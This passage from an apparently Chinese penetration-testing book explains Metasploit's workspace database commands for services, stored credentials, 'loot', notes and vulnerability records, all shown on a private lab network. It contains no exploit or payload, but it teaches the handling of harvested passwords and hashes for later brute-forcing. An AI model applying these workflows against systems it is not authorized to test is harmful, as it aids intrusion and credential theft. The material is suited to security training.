msf5 auxiliary(scanner/portscan/tcp) > services -R                #进行搜索

Services

========

host                port      proto          name            state        info

-------          -----     ------          ------             -------       ------

192.168.59.100    445       tcp                          open   

192.168.59.144      88        tcp            kerberos-sec    open        Heimdal 

Kerberos server time: 2018-04-04 06:34:53Z

192.168.59.144      445       tcp            microsoft-ds    open   

192.168.59.144      548       tcp            afp              open        Apple AFP 

name: 192.168.59.144; protocol 3.4; VMware 7.1

RHOSTS => 192.168.59.144 192.168.59.100


 
输出信息显示了搜索到的服务，在host列中可以看到对应的主机有2个，IP地址为192.168.59.144和192.168.59.100。最后一行信息表示将这两个IP地址设置为了RHOSTS的值。
 
（2）查看为RHOSTS设置的值。执行命令如下：
 


msf5 auxiliary(scanner/portscan/tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name        Current Setting       Required     Description

-------    ----------------      ---------    ------------

CONCURRENCY    10       yes       The number of concurrent ports to check per host

DELAY         0        yes        The delay between connections, per thread, in 

                                milliseconds

JITTER        0        yes       The delay jitter factor (maximum value by which 

                                to +/- DELAY) in milliseconds.

PORTS     1-10000     yes       Ports to scan (e.g. 22-25,80,110-900)

RHOSTS    192.168.59.144 192.168.59.100                                                               yes        The target address range or CIDR identifier

THREADS          1        yes        The number of concurrent threads

TIMEOUT     1000      yes        The socket connect timeout in milliseconds


 
4．保存数据
 
对于重要的服务信息，为了防止丢失，用户可以进行额外保存。其操作方法如下。
 
（1）对于显示的服务的重要信息，用户可以将其保存为CSV文件。例如，将数据库中服务的host列、port列、name列的信息保存到keep.csv文件中。执行命令如下：
 


msf5 > services -c name,port -o keep.csv

[*] Wrote services to /root/keep.csv


 
输出信息显示成功将信息保存到keep.csv文件中。默认保存路径为/root/keep.csv。
 
（2）查看keep.csv文件将看到保存的信息。如图3.2所示。
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图3.2　查看保存的信息
 
5．删除/添加服务
 
用户也可以手动添加和删除服务信息，如删除渗透不使用的服务信息。其操作方法如下。
 
（1）删除的时候，只能根据服务对应的主机进行删除。指定主机的IP地址，将删除该主机上所有的服务。例如，删除主机192.168.59.1上所有的服务，执行命令如下：
 


msf5 > services -d 192.168.59.1

Services

========

host    port    proto    name    state    info

------    ----    -----    -----    -----    ----

192.168.59.1    135    tcp    msrpc    open    Microsoft Windows RPC

192.168.59.1    139    tcp    netbios-ssn    open    Microsoft Windows netbios-ssn

192.168.59.1    445    tcp    microsoft-ds    open    Windows 7 Ultimate 7601 Service

                     Pack 1 microsoft-ds workgroup:

                     WORKGROUP

192.168.59.1    902    tcp    ssl/vmware-auth    open    VMware Authentication Daemon

                    1.10 Uses VNC, SOAP

192.168.59.1    912    tcp    vmware-auth    open    VMware Authentication Daemon

                    1.0 Uses VNC, SOAP

192.168.59.1    5357    tcp    http    open    Microsoft HTTPAPI httpd 2.0

                    SSDP/UPnP

 [*] Deleted 6 services


 
从输出信息的host列中可以看到，主机的IP地址都为192.168.59.1，输出信息最后一行表示删除了6个服务。
 
（2）再次查看数据库中的服务信息。执行命令如下：
 


msf5 > services 

Services

========

host                port    proto    name            state      info

------             ------    ------    -----              ------    --------

192.168.59.144    88        tcp        kerberos-sec    open    Heimdal Kerberos 

server time: 2018-04-04 06:34:53Z

192.168.59.144     445        tcp        microsoft-ds      open   

192.168.59.144     548        tcp        afp                open    Apple AFP name: 

192.168.59.144; protocol 3.4; VMware 7.1


 
此时从输出信息的host列中再也找不到主机192.168.59.1的服务信息了。
 
（3）用户可以添加其他重要的服务。例如，添加服务所在的主机为192.168.59.100，对应的端口为445。执行命令如下：
 


msf5 > services -a 192.168.59.100 -p 445

[*] Time: 2018-04-05 03:25:14 UTC Service: host=192.168.59.100 port=445 

proto=tcp name=


 
其中，添加服务的时间为2018-04-05 03：25：14 UTC，主机为192.168.59.100，端口号为445，服务是基于TCP的。
 
（4）查看添加的服务信息。执行命令如下：
 


msf5 > services 

Services

========

host                port    proto    name            state      info

------             -----    ------    -----              ------    --------

192.168.59.100      445       tcp                          open   

192.168.59.144    88        tcp        kerberos-sec    open    Heimdal Kerberos 

server time: 2018-04-04 06:34:53Z

192.168.59.144     445        tcp        microsoft-ds      open   

192.168.59.144     548        tcp        afp                open    Apple AFP name: 

192.168.59.144; protocol 3.4; VMware 7.1


 
从输出信息中可以看到新添加的服务，以及其对应列中的值。
3.3.3　管理认证信息
 
工作区的creds项往往包含了大量的认证信息。这些认证信息可以在以后暴力破解时使用。因此，在使用前需要进行整理维护。这时，需要使用子命令creds。其语法格式如下：
 


creds [filter options] [address range]


 
其中，filter options选项表示过滤选项，address range表示主机IP地址或IP地址范围。
 
下面介绍如何使用creds命令来管理主机。
 
1．显示方式
 
在查看认证信息时，用户可以以不同的方式进行显示。例如，显示当前工作区中所有的认证信息，执行命令如下：
 


msf5 > creds

Credentials

===========

host  origin  service      public      private          realm          private_type

----  ------  -------     ------    -------           ------         -------------

                               root        daxueba                         Password

                               Root        147258           workgroup      Password

                                       pass                            Password

                               admin       admin                           Password


 
输出信息显示了当前工作区中的所有认证信息，共有4条信息。每个记录分为了7列，其含义如下所示。
 
·host：主机。

·origin：来源。

·service：服务。

·public：用户名。

·private：密码。

·realm：域。

·private_type：认证信息类型。
 
2．添加/删除认证信息
 
用户也可以手动添加或删除认证信息，如删除渗透不使用的认证信息。其操作方法如下。
 
（1）如果用户通过其他方式获取到新的认证信息，可以将其添加到工作区中。进行添加需要使用add选项，后面跟上添加的参数。用到的参数及含义如下：
 
·user：用户名。

·password：密码。

·ntlm：NTLM哈希值。

·ssh-key：SSH-Key文件。

·hash：不可重放哈希值。

·realm：域。

·realm-type：域的类型。
 
了解了各个参数含义以后就可以添加认证信息了。下面介绍每种认证信息的语法。
 
①添加用户、密码和域。语法格式如下：
 


creds add user:admin password: pass realm:workgroup




 
其中，user表示要添加的是用户，admin表示用户名名称；password表示要添加的是密码，pass表示密码；realm表示要添加的是域，workgroup表示域名。
 
②添加用户名、密码。语法格式如下：
 


creds add user:guest password:pass




 
其中，user表示要添加的是用户，guest表示用户名名称；password表示要添加的是密码，pass表示用户guest的密码。
 
③添加密码。语法格式如下：
 


creds add password:pass




 
其中，password表示要添加的是密码，pass表示密码。
 
④添加用户名和NTLM哈希值。语法格式如下：
 


creds add user:admin ntlm:NTML




 
其中，user表示要添加的是用户，admin表示用户名名称；ntml表示要添加的是NTML哈希值，NTML表示哈希值。
 
⑤添加NTLM哈希值。语法格式如下：
 


creds add ntlm:NTML




 
其中，ntml表示要添加的是NTML哈希值，NTML表示对应的值。
 
⑥添加用户名和ssh-key文件。语法格式如下：
 


creds add user:sshadmin ssh-key:/path/to/id_rsa




 
其中，user表示要添加的是用户，sshadmin表示用户名名称；ssh-key表示要添加的是ssh-key文件，/path/to/id_rsa表示添加的文件路径。
 
⑦添加用户名和不可重放哈希值。语法格式如下：
 


creds add user:other hash:HASH




 
其中，user表示要添加的是用户，other表示用户名名称；hash表示要添加的是不可重放哈希值，HASH表示对应的值。
 
⑧添加不可重放哈希值。语法格式如下：
 


creds add hash:HASH




 
其中，hash表示要添加的是不可重放哈希值，HASH表示对应的值。
 
（2）通过上述方法就可以在数据库中添加认证信息了。例如，添加用户名为user，不可重放哈希值为d19c32489b870735b5f587d76b934283。执行命令如下：
 


msf > creds add user:user hash:d19c32489b870735b5f587d76b934283




 
执行命令后没有任何输出信息，但是会成功添加到数据库中。
 
（3）查看数据库中的认证信息，执行命令如下：
 


msf5 > creds

Credentials

===========

host  origin   service      public      private      realm          private_type

---- -------  --------  ------  --------     ------      --------------

                               root        daxueba                     Password

                               Root        147258       workgroup      Password

                                       pass                        Password

                               admin       admin                       Password

                               user        d19c32489b870735b5f587d76b934283         

                                                            Nonreplayable hash




 
此时输出信息显示了5个认证信息，可以看到新添加的认证信息。
 
（4）用户不仅可以往工作区中添加，也可以删除数据库中无用的认证信息。例如，删除用户名为root的认证信息，执行命令如下：
 


msf5 > creds -d -u root

Credentials

===========

host  origin  service      public      private          realm          private_type

----  ------  -------    ------  --------         ------       -------------

                               root        daxueba                         Password

                               Root        147258           workgroup      Password

[*] Deleted 2 creds




 
输出信息显示了要删除的认证信息。最后一行信息表示已经成功删除了2个认证信息。
 
（5）查看当前数据库中的认证信息，将不会看到被删除的认证信息了。执行命令如下：
 


msf5 > creds

Credentials

===========

host   origin  service      public   private        realm        private_type

----   ------  -------   -------  -------        ------        -------------

                                pass                                       Password

                               admin     admin                        Password

                               user     d19c32489b870735b5f587d76b934283         

                            Nonreplayable hash




 
（6）如果要删除全部的认证信息，执行命令如下：
 


msf5 > creds -d

Credentials

===========

host  origin  service      public    private       realm        private_type

----  ------  -------    ------  --------    ------       -------------

                                pass                                  Password

                               admin    admin                        Password

                               user    d19c32489b870735b5f587d76b934283         

                            Nonreplayable hash



[*] Deleted 3 creds




 
输出信息最后一行表示删除了3个认证信息，此时数据库中所有的认证信息都会被删除。查看数据库中的认证信息。执行命令如下：
 


msf5 > creds

Credentials

===========

host  origin  service  public  private  realm  private_type

----  ------  -------  ------  -------  -----  ------------




 
输出信息没有显示任何认证信息。这说明成功删除了全部的认证信息。
 
3．过滤显示
 
为了从众多的认证信息中快速找到想要的认证信息，用户可以进行过滤显示。方法如下：
 
（1）如果数据库中的认证信息很多，就不方便用户查找了。这时，可以对认证信息进行过滤。进行过滤的方法及使用到的选项含义如下：
 
①根据密码进行过滤。语法格式如下：
 


-P,--password <regex>




 
其中，regex表示匹配密码的正则表达式。
 
②根据端口过滤。语法格式如下：
 


-p,--port <portspec>




 
其中，portspec表示匹配的端口值。
 
③根据服务过滤。语法格式如下：
 


-s <svc names>




 
其中，svc names表示服务名称。例如，-s ssh，smb，表示过滤所有与SSH或SMB服务相关的认证信息。
 
④根据用户过滤。语法格式如下：
 


-u,--user <regex>




 
其中，regex表示匹配用户名的正则表达式。
 
⑤根据类型进行过滤。语法格式如下：
 


-t,--type <type>




 
其中，type表示类型，如password、ntlm、hash。
 
⑥根据起源过滤。语法格式如下：
 


-O,--origins < origins >




 
其中，origins表示起源。
 
（2）在进行过滤时是不区分大小写的。例如，过滤用户名为root的认证信息。执行命令如下：
 


msf5 > creds -u root

Credentials

===========



host  origin  service      public      private      realm          private_type

----  ------  -------    ------  --------     -----       -------------

                               root        daxueba                     Password

                               Root        147258       workgroup      Password




 
输出信息显示了2个认证信息。在public列中可以看到用户名为root个Root。
 
4．保存数据
 
对于重要的认证信息，为了防止丢失，用户可以进行额外保存。其操作方法如下：
 
（1）如果用户想将这些认证信息保存到CSV文件中，可以使用-o选项。例如，将上述的认证信息保存到keep.csv文件中。执行命令如下：
 


msf5 > creds -o keep.csv

[*] Wrote creds to /root/keep.csv




 
输出信息表示成功地将认证信息保存到了keep.csv文件中了。默认保存路径为/root/keep.csv。
 
（2）查看keep.csv文件中的信息，如图3.3所示。
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图3.3　查看保存的认证信息
 
5．使用认证信息
 
认证信息对应到相应的目标主机上，用户可以将目标主机引用到模块中，为模块的RHOSTS进行赋值，方法如下：
 


msf5 > creds -R

Credentials

===========

host  origin  service      public      private      realm              private_type

----  ------  -------    ------  -------      -----            -------------

                               root        daxueba                         Password

                               Root        147258       workgroup          Password

                                       pass                            Password

                               test        112233                          Password

[*] The list is empty, cowardly refusing to set RHOSTS




 
输出信息最后一行表示认证信息中host列为空，没有搜索到IP地址，无法设置为RHOSTS的选项值。如果存在IP地址，将显示类似如下的信息：
 


RHOSTS => 192.168.59.144 192.168.59.100




3.3.4　管理战利品
 
工作区的loot项往往包含了大量的渗透获取的主机信息。对战利品进行管理，需要使用子命令loot。其语法格式如下：
 


loot <options>


 
其中，options表示选项，用到的选项及含义如下：
 
·-a，--add：添加地址列。

·-d，--delete：删除所有列。

·-f，--file：从文件中导入。

·-i，--info：添加的info列的内容。

·-t<type1，type2>：指定列的类型搜索。

·-S，--search：指定搜索使用的关键词。

·-h，--help：显示帮助信息。
 
查看数据库包含的战利品信息，执行命令如下：
 


msf5 > loot

Loot

====

host    service type    name    content    info    path

----    -----------    ----    -------    ----    -----

192.168.

44.152    host.ms_keys    ms_keys.

txt    text/

plain    Microsoft

Product

Key 

and Info    /root/.msf4/loot/20120

806184821_default_

192.168.44.152_host.

ms_keys_213175.txt




 
输出信息显示了一个战利品的信息，分为了7列，每列含义如下：
 
·host：主机。

·service：服务。

·type：类型。

·name：名称。

·content：内容类型。

·info：说明信息。

·path：路径。
3.3.5　管理备注信息
 
工作区的notes项包含了大量的备注信息。这些备注信息记录着数据的服务类型、使用的协议、关键的数据等。对备注信息进行管理，需要使用子命令notes。其语法格式如下：
 


notes [options] [addr range]




 
其中，options表示选项，addr range表示IP地址或IP地址范围。用到的选项及含义如下：
 
·-a，--add：添加新的备注信息。

·-d，--delete：删除备注信息。

·n，--note<data>：为设置备注内容。其中，data表示数据。

·-t<type1，type2>：搜索指定类型列的备注信息。其中，type1和type2表示类型，如果同时指定多个，类型名之间使用逗号进行分隔。

·-h，--help：显示帮助信息。

·-R，--rhosts：将搜索的结果作为RHOSTS选项的值。

·-S，--search：指定字符串进行搜索。

·-o，--output：将结果保存到CSV格式的文件中。

·--sort<field1，field2>：字段排序。
 
下面介绍如何对数据库中的备注信息进行管理。
 
1．显示方式
 
在对备注信息进行管理之前，需要先查看存在的备注信息。执行命令如下：
 


msf5 > notes

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.1 type=nmap.nse.

clock-skew.host data={"output"=>"mean: -2h40m16s, deviation: 4h37m07s, 

median: -16s"}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.1 type=nmap.nse.

nbstat.host data={"output"=>"NetBIOS name: WINDOWS7, NetBIOS user: 

<unknown>, NetBIOS MAC: 00:50:56:c0:00:08 (VMware)"}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.2 type=host.imported 

data={:filename=>"/root/subnet.xml", :type=>"Nmap XML", :time=>2018-04-04 

06:37:14 UTC}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.2 type=host.os.

nmap_fingerprint data={:os_vendor=>"VMware", :os_family=>"Player", :os_

version=>nil, :os_accuracy=>100}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.144 type=nmap.nse.

nbstat.host data={"output"=>"NetBIOS name: LOCALHOST, NetBIOS user: 

<unknown>, NetBIOS MAC: 00:0c:29:9f:5e:7e (VMware)"}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.144 type=nmap.nse.

smb2-security-mode.host data={"output"=>"\n  2.10: \n    Message signing 

enabled but not required"}

…                                                        #省略其他信息

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.254 type=host.nmap.

traceroute data={"port"=>0, "proto"=>"", "hops"=>[{"ttl"=>"1", "ipaddr"=>

"192.168.59.254", "rtt"=>"0.52", "name"=>"localhost"}]}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.149 type=host.

imported data={:filename=>"/root/subnet.xml", :type=>"Nmap XML", :time=>

2018-04-04 06:37:14 UTC}

[*] Time: 2018-04-04 09:01:56 UTC Note: host=192.168.59.144 type=host.info 

data="apple"

[*] Time: 2018-04-04 09:11:17 UTC Note: host=192.168.59.1 type=host.name 

data="\xE7\xBD\x91\xE5\x85\xB3"

[*] Time: 2018-04-04 09:16:50 UTC Note: host=192.168.59.149 type=host.

comments data="Linux_system"




 
输出信息显示了数据库中所有的备注信息。输出信息中的[*]表示一个备注信息，而每个完整的备注信息将分为7部分，每部分含义如下所示：
 
·Time：表示创建时间。

·Host：备注信息关联的主机。

·Service：备注信息关联的服务。

·Port：端口。

·Protocol：协议。

·Type：服务类型。

·Data：数据信息。
 
输出信息的加粗部分是一个备注信息，在该备注信息的Note部分中有3部分信息，每部分信息的含义如下：
 
·host=192.168.59.144：表示该备注信息关联的主机。

·type=host.info：表示备注信息类型为主机信息host.info。

·data="apple"：表示信息内容为apple。
 
2．过滤显示
 
为了从众多的备注信息中快速找到想要的信息，用户可以进行过滤显示。方法如下：
 
（1）为了快速找到指定类型的备注，用户可以根据类型进行搜索。例如，搜索类型为host.imported的备注信息。执行命令如下：
 


msf5 > notes -t host.imported

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.1 type=host.imported 

data={:filename=>"/root/subnet.xml", :type=>"Nmap XML", :time=>2018-04-04 

06:37:14 UTC}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.2 type=host.imported 

data={:filename=>"/root/subnet.xml", :type=>"Nmap XML", :time=>2018-04-04 

06:37:14 UTC}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.144 type=host.

imported data={:filename=>"/root/subnet.xml", :type=>"Nmap XML", :time=>

2018-04-04 06:37:14 UTC}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.254 type=host.

imported data={:filename=>"/root/subnet.xml", :type=>"Nmap XML", :time=>

2018-04-04 06:37:14 UTC}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.149 type=host.

imported data={:filename=>"/root/subnet.xml", :type=>"Nmap XML", :time=>

2018-04-04 06:37:14 UTC}




 
输出信息显示搜索到了5个备注信息，并且在每个备注信息的Note部分中可以看到type的值都为host.imported。如果同时搜索多个类型的备注信息，之间使用“，”进行分隔。例如，搜索类型为host.imported或host.name的备注信息，执行的命令如下：
 


msf5 > notes -t host.imported,host.name




 
（2）从上述搜索到的备注信息可以看到，每一个备注信息都对应有主机，可以看到它们的IP地址。如果要搜索指定主机的备注信息，可以指定IP地址或IP地址范围。例如，对IP地址范围为192.168.59.100～192.168.59.200，搜索类型为host.imported的备注信息进行过滤，则执行命令如下：
 


msf5 > notes -t host.imported 192.168.59.100-192.168.59.200

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.144 type=host.

imported data={:filename=>"/root/subnet.xml", :type=>"Nmap XML", :time=>

2018-04-04 06:37:14 UTC}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.149 type=host.

imported data={:filename=>"/root/subnet.xml", :type=>"Nmap XML", :time=>

2018-04-04 06:37:14 UTC}




 
输出信息显示了2个备注信息，并且可以在每个备注信息的Note部分中看到host的IP值为192.168.59.100～192.168.59.200。
 
（3）使用上述方法只能指定类型进行搜索，并且只能指定全部的类型字符串。如果用户不记得全部的字符串，可以通过指定字符串进行搜索。例如，搜索包含mode.host的备注信息。执行命令如下：
 


msf5 > notes -S mode.host

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.1 type=nmap.nse.

smb-security-mode.host data={"output"=>"\n  account_used: guest\n  

authentication_level: user\n  challenge_response: supported\n  message_

signing: disabled (dangerous, but default)"}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.1 type=nmap.nse.

smb2-security-mode.host data={"output"=>"\n  2.02: \n    Message signing 

enabled but not required"}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.144 type=nmap.nse.

smb2-security-mode.host data={"output"=>"\n  2.10: \n    Message signing 

enabled but not required"}




 
输出信息显示了3个备注信息，在每个备注信息的Note部分的type中都包含了字符串mode.host。
 
3．使用备注信息主机
 
备注信息对应到相应的目标主机上，用户可以将目标主机引用到模块中。为模块的RHOSTS进行赋值，方法如下：
 


msf5 > notes -S mode.host -R

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.1 type=nmap.nse.

smb-security-mode.host data={"output"=>"\n  account_used: guest\n  

authentication_level: user\n  challenge_response: supported\n  message_

signing: disabled (dangerous, but default)"}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.1 type=nmap.nse.

smb2-security-mode.host data={"output"=>"\n  2.02: \n    Message signing 

enabled but not required"}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.144 type=nmap.nse.

smb2-security-mode.host data={"output"=>"\n  2.10: \n    Message signing 

enabled but not required"}

RHOSTS => 192.168.59.1 192.168.59.144




 
输出信息显示了3个备注信息，而对应了两个主机，IP地址分别为192.168.59.1和192.168.59.144。输出信息的最后一行表示将这两个IP地址作为了RHOSTS。
 
4．保存数据
 
对于重要的备注信息，为了防止丢失，用户可以进行额外保存。操作方法如下：
 
（1）用户可以将备注信息保存为CSV文件中。例如，将搜索到的信息保存到keep.csv中。执行命令如下：
 


msf5 > notes -S mode.host -o keep.csv

[*] Notes saved as keep.csv




 
该文件默认被保存在家目录中。
 
（2）查看keep.csv文件将看到保存的信息，如图3.4所示。
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图3.4　查看保存的信息
 
5．添加/删除备注信息
 
用户可以手动添加备注信息，也可以删除不再使用的备注信息。操作方法如下：
 
（1）如果用户不想保留特定主机上的备注信息，可以使用-d选项进行删除。例如，删除主机IP地址范围为192.168.59.1～192.168.59.100上的备注信息。执行命令如下：
 


msf5 > notes -d 192.168.59.1-192.168.59.100

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.1 type=nmap.nse.

clock-skew.host data={"output"=>"mean: -2h40m16s, deviation: 4h37m07s, 

median: -16s"}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.1 type=nmap.nse.

nbstat.host data={"output"=>"NetBIOS name: WINDOWS7, NetBIOS user: 

<unknown>, NetBIOS MAC: 00:50:56:c0:00:08 (VMware)"}

…                                                        #省略其他信息

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.2 type=host.os.

nmap_fingerprint data={:os_vendor=>"VMware", :os_family=>"Player", :

os_version=>nil, :os_accuracy=>100}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.2 type=host.nmap.

traceroute data={"port"=>0, "proto"=>"", "hops"=>[{"ttl"=>"1", "ipaddr"=>

"192.168.59.2", "rtt"=>"0.38", "name"=>"localhost"}]}

[*] Deleted 14 notes




 
输出信息显示了要删除的备注信息。其中，IP地址为192.168.59.1～192.168.59.100。最后一行信息表示成功删除了上面的14个备注信息。
 
（2）查看备注信息，将看不到被删除的信息了。执行命令如下：
 


msf5 > notes

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.254 type=host.

imported data={:filename=>"/root/subnet.xml", :type=>"Nmap XML", :time=>

2018-04-04 06:37:14 UTC}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.254 type=host.

nmap.traceroute data={"port"=>0, "proto"=>"", "hops"=>[{"ttl"=>"1", 

"ipaddr"=>"192.168.59.254", "rtt"=>"0.52", "name"=>"localhost"}]}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.149 type=host.

imported data={:filename=>"/root/subnet.xml", :type=>"Nmap XML", :time=>

2018-04-04 06:37:14 UTC}

[*] Time: 2018-04-04 09:01:56 UTC Note: host=192.168.59.144 type=host.info 

data="apple"

[*] Time: 2018-04-04 09:16:50 UTC Note: host=192.168.59.149 type=host.

comments data="Linux_system"




 
（3）用户可以在工作区中添加备注信息，需要使用-a命令。在添加备注信息时，需要使用-t命令指定类型，还需要指定关联的主机。例如，添加备注信息，指定的类型为apps，所在主机为192.168.59.100。执行命令如下：
 


msf5 > notes -a -t apps 192.168.59.100

[*] Time: 2018-04-05 07:30:46 UTC Note: host=192.168.59.100 type=apps 

data={}




 
出现该信息表示添加成功。
 
（4）在数据库中查看新添加的备注信息，执行命令如下：
 


msf5 > notes

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.144 type=nmap.nse.

nbstat.host data={"output"=>"NetBIOS name: LOCALHOST, NetBIOS user: 

<unknown>, NetBIOS MAC: 00:0c:29:9f:5e:7e (VMware)"}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.144 type=nmap.nse.

smb2-security-mode.host data={"output"=>"\n  2.10: \n    Message signing 

enabled but not required"}

[*] Time: 2018-04-04 06:37:14 UTC Note: host=192.168.59.144 type=nmap.nse.

smb2-time.host data={"output"=>"Protocol negotiation failed (SMB2)"}

[*] Time: 2018-04-05 07:30:46 UTC Note: host=192.168.59.100 type=apps 

data={}




 
输出信息的最后一行为新添加的备注信息，在信息中可以看到host的值为192.168.59.100，type的值为apps，而data的值为空。
 
（5）如果要给新添加的备注信息设置数据，可以使用-n命令。例如，为上述添加的备注信息设置数据内容为winzip。执行命令如下：
 


msf5 > notes -a -t apps -n winzip 192.168.59.100

[*] Time: 2018-04-05 07:41:27 UTC Note: host=192.168.59.100 type=apps 

data=winzip




 
输出信息显示data的值为winzip。
3.3.6　查看漏洞信息
 
在对目标进行漏洞扫描时，如果获取到主机对应的漏洞信息，这些信息将会被保存到工作区中。查看漏洞信息需要使用vulns命令，其语法格式如下：
 


vulns [options] [addr range]




 
其中，options表示选项，addr表示IP地址，range表示IP地址范围。用到的选项及含义如下：
 
·-o<file>：将输出信息保存到CSV格式文件中。

·-p，--port<portspec>：显示指定端口的漏洞信息。

·-s<svc names>：显示指定服务名称的漏洞信息。

·-R，--rhosts：将搜索到的结果主机设置为RHOSTS的选项值。

·-S，--search：指定字符串进行过滤。

·-i，--info：显示info列的信息。

·-h，--help：显示帮助信息
 
下面介绍如何对数据库中的漏洞信息进行管理。
 
1．显示方式
 
在查看漏洞信息时，用户可以根据关注点不同进行显示。下面依次介绍常用的操作方式。
 
（1）显示当前工作区中所有的漏洞信息。执行命令如下：
 


msf5 > vulns

[*] Time: 2018-04-09 09:52:55 UTC     Vuln:     host=192.168.59.1 name=Common 

Platform Enumeration (CPE) refs=NSS-45590 

[*] Time: 2018-04-09 09:52:55 UTC     Vuln:     host=192.168.59.1    name=OS 

Identification refs=NSS-11936 

[*] Time: 2018-04-09 09:52:55 UTC    Vuln:     host=192.168.59.1 name=VMware 

Virtual Machine Detection refs=NSS-20094

[*] Time: 2018-04-09 09:52:55 UTC    Vuln:    host=192.168.59.2 name=Nessus 

Scan Information refs=NSS-19506 

[*] Time: 2018-04-09 09:52:55 UTC    Vuln:    host=192.168.59.2 name=VMware 

Virtual Machine Detection refs=NSS-20094 

[*] Time: 2018-04-09 09:52:55 UTC    Vuln:    host=192.168.59.2 name= 

Ethernet Card Manufacturer Detection refs=NSS-35716

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name= 

Service Detection refs=NSS-22964 

[*] Time: 2018-04-09 09:52:52 UTC    Vuln:    host=192.168.59.135 name= 

Nessus Scan Information refs=NSS-19506 

[*] Time: 2018-04-09 09:52:52 UTC    Vuln:    host=192.168.59.135 name= 

Patch Report refs=NSS-66334

[*] Time: 2018-04-09 09:52:52 UTC    Vuln:    host=192.168.59.140 name=

Enumerate MAC Addresses via SSH refs=NSS-33276 

[*] Time: 2018-04-09 09:52:52 UTC    Vuln:    host=192.168.59.140    name=Time 

of Last System Startup refs=NSS-56468 

[*] Time: 2018-04-09 09:52:52 UTC    Vuln:    host=192.168.59.140 name=

VMware Virtual Machine Detection refs=NSS-20094

[*] Time: 2018-04-09 09:52:51 UTC    Vuln:    host=192.168.59.144 name= 

TCP/IP Timestamps Supported refs=NSS-25220 

[*] Time: 2018-04-09 09:52:51 UTC    Vuln:    host=192.168.59.144 name= 

Traceroute Information refs=NSS-10287 

[*] Time: 2018-04-09 09:52:51 UTC    Vuln:    host=192.168.59.144    name=Host 

Fully Qualified Domain Name (FQDN) Resolution refs=NSS-12053




 
由于漏洞信息很多，这里只列出了部分。从输出的信息中可以看到，漏洞信息主要分为两大部分，含义如下：
 
·Time：扫描到漏洞的时间。

·Vuln：漏洞的相关信息。在该部分中包含了漏洞所在的主机host列、漏洞名称name列。
 
（2）默认显示漏洞信息时不会显示漏洞的详细信息info。如果用户想查看漏洞的info信息，执行命令如下：
 


msf5 > vulns -i

[*] Time: 2018-04-09 09:52:55 UTC    Vuln:    host=192.168.59.1  name=Common 

Platform Enumeration (CPE) refs=NSS-45590    info=By using information 

obtained from a Nessus scan, this plugin reports CPE (Common Platform 

Enumeration) matches for various hardware and software products found 

on a host. 



Note that if an official CPE is not available for the product, this plugin 

computes the best possible CPE based on the information available from the 

scan.

[*] Time: 2018-04-09 09:52:55 UTC    Vuln:    host=192.168.59.1    name=OS 

Identification refs=NSS-11936        info=Using a combination of remote 

probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess 

the name of the remote operating system in use. It is also possible sometimes 

to guess the version of the operating system.

[*] Time: 2018-04-09 09:52:55 UTC    Vuln:    host=192.168.59.1 name=VMware 

Virtual Machine Detection refs=NSS-20094    info=According to the MAC 

address of its network adapter, the remote host is a VMware virtual machine.




 
从中可以看到，每个漏洞的Vuln又多出来一部分info的信息。例如，第一个漏洞info部分的信息表示通过使用从Nessus扫描获得的信息，该插件报告了在主机上发现的各种硬件和软件产品的CPE，并给出了注意事项。
 
2．过滤显示
 
为了从众多的漏洞信息中快速找到想要的内容，用户可以进行显示过滤。方法如下：
 
（1）如果用户只想显示指定主机上的漏洞，可以进行根据主机进行过滤。例如，只显示192.168.59.135主机上的漏洞信息。执行命令如下：
 


msf5 > vulns 192.168.59.135

*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name= 

Service Detection refs=NSS-22964 

[*] Time: 2018-04-09 09:52:52 UTC    Vuln:    host=192.168.59.135 name= 

Nessus Scan Information refs=NSS-19506 

[*] Time: 2018-04-09 09:52:52 UTC    Vuln:    host=192.168.59.135 name= 

Patch Report refs=NSS-66334

[*] Time: 2018-04-09 09:52:52 UTC    Vuln:    host=192.168.59.135 name= 

Common Platform Enumeration (CPE) refs=NSS-45590




 
（2）由于漏洞使用的端口不一样，用户可以指定端口或端口范围来过滤显示。例如，只显示端口为80的漏洞信息。执行命令如下：
 


msf5 > vulns -p 80

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name= 

Service Detection refs=NSS-22964 

[*] Time: 2018-04-09 09:52:53 UTC    Vuln:    host=192.168.59.135 name= 

Unsupported Web Server Detection refs=NSS-34460 

